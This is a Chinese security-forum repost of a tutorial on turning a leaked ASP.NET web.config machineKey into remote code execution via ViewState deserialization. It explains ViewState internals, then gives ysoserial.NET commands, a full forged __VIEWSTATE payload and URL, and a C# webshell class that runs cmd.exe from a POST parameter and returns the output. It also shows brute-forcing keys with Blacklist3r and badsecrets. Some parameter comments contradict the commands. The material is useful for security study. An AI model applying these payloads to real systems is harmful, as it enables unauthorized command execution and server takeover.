安全矩阵

 找回密码
 立即注册
搜索
查看: 1384|回复: 0

泄露的web.config 可以rce,你造吗?

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-10 11:06:42 | 显示全部楼层 |阅读模式
private null 轩公子谈技术 2023-12-08 17:31 发表于江苏

众所周知,web.config文件绝大多数情况下,我们都会当作信息泄露写至报告中,而存在web.config的网站都是net开发的,也就是asp/aspx脚本。学会本篇内容,你就会发现,你之前弄丢的一次展现实力的机会。

web.config里面会有什么内容,为什么会存在。

web.config介绍

下面是配置文件泄露的内容:

  1. <?xml version="1.0"?>
  2. <configuration>
  3.   <system.web>
  4.     <machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES"/>
  5.     <compilation debug="true"/>
  6.   </system.web>
  7. </configuration>
复制代码


有多的,也有少的,或者其他的,至于内容就看你的运气了。

这个文件包含了asp.net网站的常用配置。

web.config文件是一个XML文件,它的根结点是,在节点下的常见子节点有:、、和。其中节点主要用于配置一些网站的应用配置信息,而节点主要用于配置网站的数据库连接字符串信息。

具体哪些节点就自己去翻资料吧

ViewState 简单介绍

ViewState是ASP.NET Web Forms中的⼀种机制,⽤于跟踪⻚⾯上的控件状态并在回发时恢复这些状 态。它主要⽤于解决Web应⽤程序的状态管理问题。

在Web开发中,HTTP是⼀种⽆状态协议,每次请求都是独⽴的,服务器⽆法记住上⼀次请求的信息。⽽ 在⼀些交互性较强的Web应⽤程序中,我们需要保持⻚⾯上各个控件的状态以提供更好的⽤户体验。这 就是ViewState所要解决的问题。   

ViewState通过在HTML中插⼊隐藏字段来保存⻚⾯上每个控件的状态,⽐如⽂本框的值、复选框的选中 状态等。当⻚⾯回发到服务器时,服务器会根据隐藏字段中的信息将控件状态还原,使得⻚⾯能够保持 跨请求的连续性。

ViewState的⼯作原理可以简单描述为以下⼏个步骤:

1.当⻚⾯⾸次加载时,服务器会将⻚⾯上每个控件的状态保存到ViewState中。

2.ViewState中的状态数据会被序列化为Base64编码格式,并插⼊到HTML⻚⾯的隐藏字段中。

3.当⽤户操作⻚⾯并触发回发时,浏览器会将⻚⾯的内容以及隐藏字段⼀同发送到服务器。

4.服务器收到请求后会解析隐藏字段中的状态数据,并根据其内容恢复每个控件的状态。

5.服务器处理完请求后,将响应发送给浏览器,此时ViewState中的内容也会随着响应⼀同返回到浏览 器。

6.浏览器接收到响应后会解析其中的ViewState,并保存在⻚⾯上。

7.接下来的请求中,浏览器会将保存的ViewState再次传递给服务器,以便在后续请求中持续跟踪和恢 复控件状态。

比如下面这个登录页面



这里相信你们测net的网站都遇到过,查看源码,会出现这个单词,然后一堆base64编码数据。

原始的ViewState仅仅是用base64编码了序列化后的binary数据,未使用任何类型的密码学算法进行加密,可以使用LosFormatter(现在已经被ObjectStateFormatter替代)轻松解码和反序列化。


  1. LosFormatter formatter = new LosFormatter();              
  2. object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");
复制代码


ViewState 加密算法

在 .NET 2.0 中,默认情况下,ViewState 是没有被加密的,可以通过设置 EnableViewStateMac属性来启⽤MAC(Message Authentication Code)校验。⽽在 .NET 4.0 中, ViewState 的随机加密默认是开启的,可以通过设置来启⽤对 ViewState 的随机加密。这样可以提供更好的安全性,防⽌ViewState数据被篡改和伪造。

enableViewState:用于设置是否开启viewState,但是请注意,根据 安全通告KB2905247 中所说,即使在web.config中将enableViewState 设置为false,ASP.NET服务器也始终被动解析 ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。

enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。在 安全通告KB2905247 之前,也就是4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config 里添加危险设置的方式来禁用Mac校验,详情见后面分析。

viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。

•Always表示ViewState始终加密;

•Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;   

•Never表示 即使控件请求了视图状态信息,也永远不会对其进行加密。

在实际调试中发现,viewStateEncryptionMode 影响的是ViewState的生成,但是在解析从客户端提交的ViewState时,并不是依据此配置来判断是否要解密



解密网站:https://viewstatedecoder.azurewebsites.net/

这里的/也要放进去,解密后会发现很多pair关键字,然后是uri和一些文本之类的。   



我们查看网站,上面的文本和内容都在web页面中出现过   




那么这个pair到底是什么呢,实际上他是System.Web.UI.Pair对象。

它提供用于存储两个相关对象的基本实用工具类。

  1. [System.Serializable]              
  2. public sealed class Pair
复制代码


在 Pair 页面状态持久性实现中,可以通过多种方式使用 类。最常见的用途是用作 和 ControlState 集合的ViewState容器。

Serializable 这个单词大家都不陌生吧,对了,他就是负责序列化的   

ViewState的生成和解析流程

ViewState 是通过ObjectStateFormatter的Serialize和Deserialize 来完成ViewState的序列化和反序列化工作。(LosFormatter 也用于ViewState的序列化,但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize 是直接调用的ObjectStateFormatter 的Serialize)

ObjectStateFormatter 位于System.Web.UI 空间

这是LosFormatter对应的代码



这里是ObjectStateFormatter对应的代码


查看Serialize 函数的代码,这里版本为4.0


找gpt写个注释

首先,方法声明了一个私有的字符串返回类型,名为Serialize,接受两个参数:stateGraph(要序列化的对象)和purpose(目的)。              

创建一个空的字符串变量result,以便存储序列化后的结果。              

创建一个MemoryStream对象memoryStream,用于在内存中存储序列化的数据。              

使用Serialize方法将stateGraph对象序列化到memoryStream中。              

设置memoryStream的长度为当前位置,以确保只使用实际写入的数据。              

获取memoryStream的缓冲区byte[] array,并获取缓冲区的长度。              

检查是否使用了默认的加密提供程序(AspNetCryptoServiceProvider.Instance.IsDefaultProvider),并且不强制使用旧的加密算法(this._forceLegacyCryptography为false)。              

如果满足条件,并且_page不为null且要求ViewState加密或启用了ViewState的消息验证码,则使用指定的目的(purpose)和特定目的(GetSpecificPurposes())来获取加密服务(ICryptoService),然后对memoryStream中的数据进行保护加密,将加密后的数据存储在array中,并更新length为加密后数据的长度。              
如果不满足上述条件,但_page不为null且要求ViewState加密,则使用MachineKeySection.EncryptOrDecryptData方法对array中的数据进行加密,将加密后的数据存储在array中,并更新length为加密后数据的长度。              

如果不满足上述条件,但_page不为null且启用了ViewState的消息验证码,或者_macKeyBytes不为null,则使用MachineKeySection.GetEncodedData方法对array中的数据进行编码,将编码后的数据存储在array中,并更新length为编码后数据的长度。              

将array中从索引0开始长度为length的数据转换为Base64字符串,存储在result变量中。              

最后,在finally块中释放memoryStream对象的资源。              

返回result作为序列化后的字符串结果。   

查看 Deserialize 函数的代码



用于将一个字符串(inputString)反序列化为对象。方法接受两个参数:inputString表示要反序列化的字符串,purpose表示反序列化的目的。              

代码的主要逻辑如下:              

首先,检查输入字符串是否为空或null,如果是则抛出ArgumentNullException。              

将输入字符串inputString转换为Base64编码的字节数组byte[] array。              

获取数组array的长度num。              

检查是否使用了默认的加密提供程序(AspNetCryptoServiceProvider.Instance.IsDefaultProvider),并且不强制使用旧的加密算法(this._forceLegacyCryptography为false)。              

如果满足条件,并且_page不为null且ViewState中包含加密的数据或启用了ViewState的消息验证码,则使用指定的目的(purpose)和特定目的(GetSpecificPurposes())来获取加密服务(ICryptoService),然后对数组array中的数据进行解密,将解密后的数据存储在array中,并更新num为解密后数据的长度。              
如果不满足上述条件,但_page不为null且ViewState中包含加密的数据,则使用MachineKeySection.EncryptOrDecryptData方法对数组array中的数据进行解密,将解密后的数据存储在array中,并更新num为解密后数据的长度。              

如果不满足上述条件,但_page不为null且启用了ViewState的消息验证码,或者_macKeyBytes不为null,则使用MachineKeySection.GetDecodedData方法对数组array中的数据进行解码,将解码后的数据存储在array中,并更新num为解码后数据的长度。              

如果在解密或解码过程中发生异常,则增加一个性能计数器(AppPerfCounter.VIEWSTATE_MAC_FAIL)的计数,并抛出ViewStateException异常。              

创建一个空的对象变量result,以便存储反序列化后的结果。              

创建一个MemoryStream对象memoryStream,用于在内存中存储反序列化所需的数据。              

将数组array中的数据写入memoryStream中,从索引0开始写入长度为num的数据。              

设置memoryStream的位置为0。              

使用Deserialize方法将memoryStream中的数据反序列化为对象,并将结果存储在result中。              

最后,在finally块中释放memoryStream对象的资源。              

返回result作为反序列化后的对象结果。              

总体上,这段代码根据输入的字符串和反序列化的目的,将字符串解码为字节数组,根据特定的条件对数组进行解密或解码,然后将解密或解码后的数据写入MemoryStream中,并通过Deserialize方法将其反序列化为对象,最后返回反序列化后的对象。如果解密或解码过程中发生异常,则增加一个性能计数器的计数并抛出异常。   

在序列化/反序列化过程中,有一个函数是用来做解密的EncryptOrDecryptData

在这里,它是有四个重载方法的



重点是最后一个重载方法

用于在加密或解密数据时进行处理。方法接受多个参数,包括一个布尔值fEncrypt表示是否进行加密操作,一个字节数组buf表示要加密或解密的数据,一个字节数组modifier表示加密或解密的修饰符,以及其他一些布尔值和枚举类型的参数。              

代码的主要逻辑如下:              

首先,确保MachineKeySection的配置信息已加载。              

如果不是加密操作(fEncrypt为false)且需要对数据进行签名(signData为true),则对buf进行处理:              

如果start不为0或length不等于buf的长度,则创建一个新的长度为length的字节数组array,并将buf中从start开始、长度为length的数据复制到array中,并将buf引用指向array,将start更新为0。              
调用MachineKeySection.GetUnHashedData方法对buf进行解哈希操作,得到解哈希后的数据,并将其存储在buf中。              
如果buf为null,则抛出HttpException异常。              
更新length为buf的长度。              
如果使用旧的加密模式(useLegacyMode为true),则检查是否正在使用自定义加密(MachineKeySection._UsingCustomEncryption),如果是,则将useLegacyMode置为true。              

创建一个MemoryStream对象memoryStream,用于在内存中存储加密或解密所需的数据。              

调用MachineKeySection.GetCryptoTransform方法获取用于加密或解密的ICryptoTransform对象。              

创建一个CryptoStream对象cryptoStream,将memoryStream作为输出流,cryptoTransform作为转换器,并设置流模式为写入模式。              

根据加密操作和一些条件判断是否需要进行签名或使用初始化向量(iv):              

如果是加密操作(fEncrypt为true)且需要签名(signData为true),或者ivType不为IVType.None且兼容模式大于Framework20SP1,则设置一个标志flag为true。              
如果是加密操作(fEncrypt为true)且flag为true,则根据ivType的值生成一个初始化向量数组array2,并将其写入cryptoStream中。              
将buf中指定范围的数据(start和length)写入cryptoStream中。              
如果是加密操作(fEncrypt为true)且modifier不为null,则将modifier写入cryptoStream中。              

刷新并完成cryptoStream的最后一个数据块的处理。              

将memoryStream中的数据转换为字节数组array3。              

关闭cryptoStream流。              

调用MachineKeySection.ReturnCryptoTransform方法返回使用的加密转换器。              

根据加密操作和一些条件判断是否需要进行验证或修饰符处理:              

如果是解密操作(fEncrypt为false)且flag为true,则根据验证算法类型和IV的长度获取截取后的字节数组array4。              
否则,将array3赋值给array4。              
如果是解密操作(fEncrypt为false)且modifier不为null且长度不为0,则检查array4中的数据是否与modifier匹配,如果不匹配则抛出HttpException异常。              

首先,设置一个标志flag2为false。              
遍历modifier数组中的每个字节,如果array4中的对应字节与modifier中的对应字节不相等,则将flag2置为true。              
如果flag2为true,则抛出HttpException异常。              
创建一个长度为array4.Length减去modifier.Length的字节数组array5,将array4中的数据复制到array5中,并将array4引用指向array5。              
如果是加密操作(fEncrypt为true)且需要签名(signData为true),则对array4进行哈希处理:              

调用MachineKeySection.HashData方法对array4进行哈希,得到哈希后的数据array6。              
创建一个长度为array4.Length加上array6.Length的字节数组array7,将array4和array6中的数据复制到array7中,并将array4的引用指向array7。              
将array4作为结果返回。              

代码的主要功能是根据参数指定的操作(加密或解密)对数据进行处理。它使用了MachineKeySection类的方法来获取加密转换器和执行加密操作所需的其他信息,还包括对数据的签名和验证。具体的数据处理逻辑根据参数的不同进行了相应的处理和转换。

我也刚开始学习net代码,就不分析代码底层流程了,如需更多学习,请自行百度。

ViewState反序列化漏洞

讲了那么多,就开始正式进行实战训练。

web.config 和 viewstate 有什么关系,简单来说就是web.config中存在viewstate的加密方式和key,有了加密方式和key,我们就可以利用工具生成数据,从而执行命令。

存在web.config如何攻击

比如通过目录扫描,发现web.config泄露

  1. <?xml version="1.0"?>
  2. <configuration>
  3.   <system.web>
  4.     <machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES"/>
  5.     <compilation debug="true"/>
  6.   </system.web>
  7. </configuration>
复制代码


使用net版的yso进行攻击
  1. ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" --validationalg="HMACSHA256" --validationkey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D"
复制代码

  1. p: ViewState 攻击方式               
  2. g: 利用链               
  3. c: cmd 命令               
  4. path: uri               
  5. apppat: 根路径               
  6. decryptionalg: 加密方式               
  7. decryptionkey: web.config对应的key               
  8. validation: web.config对应的validation               
  9. validationkey: web.config对应的validationkey
复制代码

  1. xEK%2FeCRIo7%2FftsczFLNJf0Q39eux7CDFpkmOu6t8FsJkJBRCy9VsTQI2J83k84OiuyzGlbSlDqz13pUHIIoRSZCZ25jtld0KTsFA3tLLqa8KDZvuUvoJ%2BAYw3H%2BN1qPaxIeniZPMe7OTpgld2VeKSRONhk3oW8biwzr11ouUDYSd00JROgSaGCc%2FNBN1IrTnxlRTxcgfgnRzXFg%2BqogFC2hosIKuQ4Ij8NV%2FluRjb3Chov0munE19y423i%2B6drBSIIh8P5KYQ6Mlw8FPTZx3h%2BiAhBOHlFhOsAjLnGWguVpMdVX3%2Fkb1HlzKi%2BS2H8pGRflGibTXsFoBo8ZQoTulGMYo11rZNcs27KRu5%2FMHmKOmO%2BtujQZlmCSMURwZKHU0MCR0qQhOKpuOPF53hyXBejk3RULpqbcXdGCfIAnqjmE0fCOIuijE7B80lWvrM3XU71CSDlJOJ4W6KsOmq5A9f3q8Jm3A64elYhYiwqjDlydmx%2BaDFsMYNLejJd92gDgZ8qyv%2FpztenO6xVGwi1FNMhJY4ddgGVgFMYlrHuBGcZpmr1WekJHZXZpf7lMjf5GCMRVaIlDLLxwobNii0U0TNPRdzndAnn%2FKC%2FSYi3nZsgs6M2LxegfmWnYK%2FGGt7E%2B8BeF4PlYRPXsUequxrAB5Gin5JpcnuWLHXhH3h3LUOmH0M0oweyWrSz90BNxnrapsjPRlwayxiupfKzswDwBrU4sWtULBCTovEp2XZZSuYLQoz3SCIp2U5bJrxqukgNXurcL%2BPpe9z5Eux6UCgl4CirBgCz882wFmPsj%2FAmKjbEyU3iUJffb9yw9X1jIXntbkMhYWp9F1688xxub4WiK%2BgxSdt0voyDJ94lA4a2BosHc%2BgHETJ9AE%2BS9rit4X554gScrUEeaWlCzddEDmliiFIaO0mCUor5o8zbvCGl6NiVefTKRjGsioJZkFetRXKEAJcfSdRhcQBESjfxR2gxn6IojpLbi0vErkyudHf%2FzFq3t%2FErqksrzQw%2FLj2vbfPJ0Gtln%2F0Rz4NTH8Dk0RzSWcigiT5xhLHuvdmEKvKfPHcrwEOS5SjLiHBwoZc0hsV%2F3WmJlGhD6%2BXb5%2F28tPTOqwWtl2guFgse9mqfUoJXCVC4TlmkokU9srE2UF%2B1XvvFxBMKFu328grNzRmR0%2FYxG6esN9Lqlq14tPTUErMGjHjdNiPO%2BHFxtnzG%2FGWHwoJZike8lzu1OH6idydaRjrDxH3EoidjB7jIhHmDGnRIudC24Wg9ZcNAUPbQJyZb7nJ14G1VrkJ42OkkITSAAv0UW2LQ%3D%3D
复制代码


右键源码/F12,复制参数__VIEWSTATE

post/get方法都可进行传参数

  1. http://http://localhost:50252/Login.aspx?__VIEWSTATE=xEK%2FeCRIo7%2FftsczFLNJf0Q39eux7CDFpkmOu6t8FsJkJBRCy9VsTQI2J83k84OiuyzGlbSlDqz13pUHIIoRSZCZ25jtld0KTsFA3tLLqa8KDZvuUvoJ%2BAYw3H%2BN1qPaxIeniZPMe7OTpgld2VeKSRONhk3oW8biwzr11ouUDYSd00JROgSaGCc%2FNBN1IrTnxlRTxcgfgnRzXFg%2BqogFC2hosIKuQ4Ij8NV%2FluRjb3Chov0munE19y423i%2B6drBSIIh8P5KYQ6Mlw8FPTZx3h%2BiAhBOHlFhOsAjLnGWguVpMdVX3%2Fkb1HlzKi%2BS2H8pGRflGibTXsFoBo8ZQoTulGMYo11rZNcs27KRu5%2FMHmKOmO%2BtujQZlmCSMURwZKHU0MCR0qQhOKpuOPF53hyXBejk3RULpqbcXdGCfIAnqjmE0fCOIuijE7B80lWvrM3XU71CSDlJOJ4W6KsOmq5A9f3q8Jm3A64elYhYiwqjDlydmx%2BaDFsMYNLejJd92gDgZ8qyv%2FpztenO6xVGwi1FNMhJY4ddgGVgFMYlrHuBGcZpmr1WekJHZXZpf7lMjf5GCMRVaIlDLLxwobNii0U0TNPRdzndAnn%2FKC%2FSYi3nZsgs6M2LxegfmWnYK%2FGGt7E%2B8BeF4PlYRPXsUequxrAB5Gin5JpcnuWLHXhH3h3LUOmH0M0oweyWrSz90BNxnrapsjPRlwayxiupfKzswDwBrU4sWtULBCTovEp2XZZSuYLQoz3SCIp2U5bJrxqukgNXurcL%2BPpe9z5Eux6UCgl4CirBgCz882wFmPsj%2FAmKjbEyU3iUJffb9yw9X1jIXntbkMhYWp9F1688xxub4WiK%2BgxSdt0voyDJ94lA4a2BosHc%2BgHETJ9AE%2BS9rit4X554gScrUEeaWlCzddEDmliiFIaO0mCUor5o8zbvCGl6NiVefTKRjGsioJZkFetRXKEAJcfSdRhcQBESjfxR2gxn6IojpLbi0vErkyudHf%2FzFq3t%2FErqksrzQw%2FLj2vbfPJ0Gtln%2F0Rz4NTH8Dk0RzSWcigiT5xhLHuvdmEKvKfPHcrwEOS5SjLiHBwoZc0hsV%2F3WmJlGhD6%2BXb5%2F28tPTOqwWtl2guFgse9mqfUoJXCVC4TlmkokU9srE2UF%2B1XvvFxBMKFu328grNzRmR0%2FYxG6esN9Lqlq14tPTUErMGjHjdNiPO%2BHFxtnzG%2FGWHwoJZike8lzu1OH6idydaRjrDxH3EoidjB7jIhHmDGnRIudC24Wg9ZcNAUPbQJyZb7nJ14G1VrkJ42OkkITSAAv0UW2LQ%3D%3D
复制代码




不存在web.config如何攻击

如果没有发现配置信息,那key要怎么获取?答案是:爆破

AspDotNetWrapper.exe

您可以尝试使用Blacklist3r(AspDotNetWrapper.exe来查找使用的密钥。
  1. AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTQwNjA1MDA3OGRkq51hxSZG6Yis6UUsTYd9Sj2YYS8= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode --TargetPagePath "./Default.aspx" -f out.txt --IISDirPath="/"                  


  2.                   
  3. --encrypteddata : __VIEWSTATE parameter value of the target application                  
  4. --modifier : __VIWESTATEGENERATOR parameter value
  5. keypath: 对应爆破字典
  6. encrypteddata: 对应下面10行的value值
  7. modifier: 对应15行的value
  8. TargetPagePath: 对应8行的action
复制代码







然后这里就成功爆破出他的key和vaule了

Badsecrets

另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,所以与 Blacklist3r 不同,它没有 Windows 依赖。对于 .NET viewstates,有一个名为 "python blacklist3r" 的实用程序,这是使用它的最快方法。


  1. pip install badsecrets                  
  2. git clone https://github.com/blacklanternsecurity/badsecrets                  
  3. cd badsecrets                  
  4. python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
复制代码




命令执行有回显

前面做了操作,弹出计算器,是无回显的,那么有回显的该如何操作?

先看命令

  1. ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" --validationalg="HMACSHA256" --validationkey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D"
  2. -p ViewState: 指定 ysoserial 使用 ViewState 反序列化漏洞的 payload。               
  3. -g ActivitySurrogateSelectorFromFile: 指定 ysoserial 使用 ActivitySurrogateSelectorFromFile gadget chain,它是一种常见的利用方式。               
  4. -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll": 指定要执行的恶意代码。               
  5. --path="/login.aspx": 指定目标页面的路径,这里是登录页面。               
  6. --apppath="/": 指定应用程序的根路径。               
  7. --decryptionalg="3DES": 指定解密算法,这里使用 AES。               
  8. --decryptionkey="": 指定解密密钥。               
  9. --validationalg="SHA1": 指定验证算法,这里使用 HMACSHA256。               
  10. --validationkey="": 指定验证密钥。
复制代码


dlls/System.dll 和 dlls/System.Web.dll 是指定要序列化和反序列化时所需的程序集文件路径。

具体解释如下:               
在ASP.NET中,当进行对象的序列化和反序列化操作时,需要引用相关的程序集以获取所需的类和方法。这些程序集包含了用于序列化和反序列化操作的类型定义和实现。

在ViewState反序列化攻击中,攻击者构造了一个恶意的ViewState数据,其中包含了要反序列化的对象类型。为了成功地反序列化该对象,服务器需要能够解析和加载相关的程序集。

因此,通过在命令中指定程序集文件路径,攻击者确保服务器能够找到所需的程序集文件,并从中加载所需的类型定义。

在你的命令中,/dlls/System.dll 是一个绝对路径,指定了 System.dll 程序集的位置。而 ./dlls/System.Web.dll 是一个相对路径,指定了 System.Web.dll 程序集相对于当前工作目录的位置。

这两个程序集文件通常被用于ViewState反序列化攻击中,因为它们包含了用于ASP.NET Web Forms的核心功能和类。例如,System.dll 包含了常用的系统功能,而 System.Web.dll 包含了用于Web应用程序开发的类和方法。

相当于,java编写内存马,需要引入jar包当作依赖,不然编译的时候就会报错,出现xxx不存在。

如何找这两个dll呢

C:\Windows\Microsoft.NET\Framework64



payload
  1. class E                  
  2. {                  
  3.     public E()                  
  4.     {                  
  5.         System.Web.HttpContext context = System.Web.HttpContext.Current;                  
  6.         context.Server.ClearError();                  
  7.         context.Response.Clear();                  
  8.         try                  
  9.         {                  
  10.             System.Diagnostics.Process process = new System.Diagnostics.Process();                  
  11.             process.StartInfo.FileName = "cmd.exe";                  
  12.             string cmd = context.Request.Form["cmd"];                  
  13.             process.StartInfo.Arguments = "/c " + cmd;                  
  14.             process.StartInfo.RedirectStandardOutput = true;                  
  15.             process.StartInfo.RedirectStandardError = true;                  
  16.             process.StartInfo.UseShellExecute = false;                  
  17.             process.Start();                  
  18.             string output = process.StandardOutput.ReadToEnd();                  
  19.             context.Response.Write(output);                  
  20.         } catch (System.Exception) {}                  
  21.         context.Response.Flush();                  
  22.         context.Response.End();                  
  23.     }                  
  24. }
复制代码



然后把cs文件,两个dll文件放到yso目录下






可见,已经成功rce了

参考链接:

https://book.hacktricks.xyz/v/cn ... ng-viewstate-cookie

https://paper.seebug.org/1386/


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:51 , Processed in 0.014775 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表